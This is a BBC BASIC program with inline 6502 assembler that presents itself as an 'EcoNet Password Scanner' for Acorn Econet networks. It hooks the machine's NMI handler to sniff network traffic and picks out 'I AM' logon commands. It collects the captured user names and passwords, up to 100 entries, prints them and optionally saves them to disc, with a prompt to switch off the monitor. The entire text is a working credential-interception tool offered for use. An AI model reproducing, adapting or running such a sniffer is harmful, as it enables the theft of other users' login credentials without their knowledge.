10REM EcoNet Password Scanner 20REM Final Version 30REM Run program while connected to 40REM net to intercept all logons 50REM Press ESCAPE to leave and 55REM save/view intercepted data 60MODE7 70S%=&5000:E%=&7B00 80HIMEM=&5000:DIM P$(100) 90M%=&70:!M%=S% 100FOR Z%=0TO 2STEP2 110P%=&900 120[OPTZ% 130.NMI BIT &FE18:PHP:PHA:TYA:PHA 140LDA &FEA2 150CMP #ASC"I":BNE CONT 160LDY#0:STA(M%),Y:LDA #26:STA &75:JMP PASS 170.CONT 180STA &76:LDA &75:BEQ NMIEND:LDA &76: LDY#0:STA(M%),Y:DEC &75 190.PASS 200INCM%:BNE NMIEND 210INC M%+1:LDA #E%DIV256:CMPM%+1:BNE NMIEND 220.RES LDA #S%MOD256:STAM% 230LDA #S%DIV256:STAM%+1 240.NMIEND PLA:TAY:PLA:PLP 250JMP &D03 260] 270NEXT Z% 280?&D00=&4C:?&D01=0:?&D02=9 290ONERROR IF ERR=17 PROCfinish ELSE R EPORT:PRINT" at line ";ERL:END 300A%=S% 310B%=FNGET:IF B%=ASC"I" PROCcheck 320GOTO310 330DEF FNGET 340REPEAT UNTIL A%<>!M% 350A%=A%+1 360=?(A%-1) 370DEFPROCcheck 380B%=FNGET:IF B%<>32 ENDPROC 390B%=FNGET:IF B%<>65 ENDPROC 400B%=FNGET:IF B%<>77 ENDPROC 410B%=FNGET:IF B%<>32 ENDPROC 420?&A16=13 430FOR I%=0 TO 21:B%=FNGET 440IF B%>31 AND B%<127 I%?&A00=B% ELSE I%?&A00=13:I%=21 450NEXT 460PRINT;"";:IF LEFT$($&A00,4)="D045" $&A00="D045 Information Denied":VDU6 ELS E PRINT;" "; 470N%=FALSE 480FOR I%=0 TO 99 490IF P$(I%)=$&A00 I%=99:N%=TRUE:GOTO 510 500IF P$(I%)="" P$(I%)=$&A00:I%=99:N%= TRUE 510NEXT 520IF N%=FALSE PROCfinish 530ENDPROC 540DEFPROCfinish 550PRINT"Finished" 560INPUT"SAVE TO DISC (Y/N)?"D$ 570IF D$="Y" INPUT"NETWORK OR FLOPPY ( N/F)";S$:IF S$="N" OSCLI"NET" ELSE IF D$ ="Y" OSCLI"DISC" 580PRINT"SWITCH OFF MONITOR IF REQUIRE D AND PRESSSPACE NOW!":REPEATUNTILGET=32 590IF D$="Y" THEN OSCLI"SPOOL DATA" 600I%=0 610REPEAT 620IF P$(I%)="" PRINT':I%=99:GOTO640 630PRINTP$(I%) 640I%=I%+1:UNTIL I%>99 650*SPOOL 660VDU7 670END